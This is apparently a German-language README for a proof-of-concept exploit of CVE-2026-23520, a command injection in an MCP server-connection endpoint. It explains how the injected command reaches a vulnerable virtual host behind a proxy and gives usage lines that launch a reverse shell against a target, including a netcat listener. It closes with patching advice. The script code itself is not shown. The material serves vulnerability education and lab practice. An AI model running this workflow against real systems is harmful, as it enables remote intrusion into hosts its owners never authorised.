
🎓 Bildungs-PoC für CVE-2026-23520. Labor für Schwachstellenanalyse und kontrollierte Schadensbegrenzung. 🧪
HINWEIS: Dieses Repository und die darin enthaltenen Skripte dienen ausschließlich zu Bildungs- und akademischen Zwecken.
Die hier bereitgestellten Informationen sollen Sicherheitsforschern, Systemadministratoren und Studenten helfen, die Mechanik von Command Injection-Schwachstellen und virtuellem Host-Routing in kontrollierten Laborumgebungen (wie Capture the Flag-Plattformen) zu verstehen.
Verwenden Sie dieses Tool niemals gegen ein System, Netzwerk oder eine Infrastruktur ohne ausdrückliche schriftliche Genehmigung des Eigentümers. Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch diese Software verursacht werden.
Dieses Repository stellt einen Proof of Concept (PoC) zur Ausnutzung von CVE-2026-23520 im Kontext der Model Context Protocol (MCP)-Implementierung in bestimmten Anwendungsstapeln (wie Arcane v1.13.0) bereit.
Die Schwachstelle ist ein klassischer Command Injection-Fehler. Der API-Endpunkt (/api/mcp/connect) akzeptiert eine JSON-Nutzlast zur Konfiguration einer neuen Serververbindung. Die Nutzlast enthält ein serverConfig-Objekt mit den Feldern und .
commandargsDa die Anwendung diese Felder nicht ordnungsgemäß bereinigt, bevor sie auf dem Host-Betriebssystem ausgeführt werden, kann ein Angreifer bösartige Bash-Befehle (z. B. eine Reverse Shell) anstelle eines legitimen Dienstpfads einschleusen.
In vielen realen oder CTF-Bereitstellungen führt das einfache Senden des Exploits an die Haupt-IP-Adresse zu einem 404 Not Found-Fehler. Dies liegt daran, dass die anfällige Komponente (z. B. MCPJam Inspector) hinter einem Reverse Proxy (wie Nginx) gehostet wird, der den Datenverkehr basierend auf dem Host-Header weiterleitet.
Dieser PoC unterscheidet sich von Standard-Exploits, indem er dem Benutzer explizit erlaubt, den Virtual Host (vhost) anzugeben, um die Proxy-Routing-Regeln zu umgehen und die anfällige Anwendung direkt zu erreichen.
Dieses Skript erfordert Python 3 und die Bibliothek requests.
pip install requests
python3 exploit_vhost.py <target_ip> <target_port> <virtual_host> <listener_ip> <listener_port>
nc -lvnp 4444
python3 exploit_vhost.py 10.129.x.x 443 mcp.target.local 10.10.x.x 4444
Hinweis: Ein „Read timed out“-Fehler ist zu erwarten und zeigt an, dass die Reverse Shell erfolgreich ausgeführt wurde und die Verbindung offen hält.
Administratoren sollten sicherstellen, dass sie die neueste gepatchte Version der Software ausführen. Wenn ein Patchen nicht sofort möglich ist, schränken Sie den Zugriff auf den Endpunkt /api/mcp/connect ein und stellen Sie eine strenge Eingabevalidierung für alle serverConfig-Parameter sicher.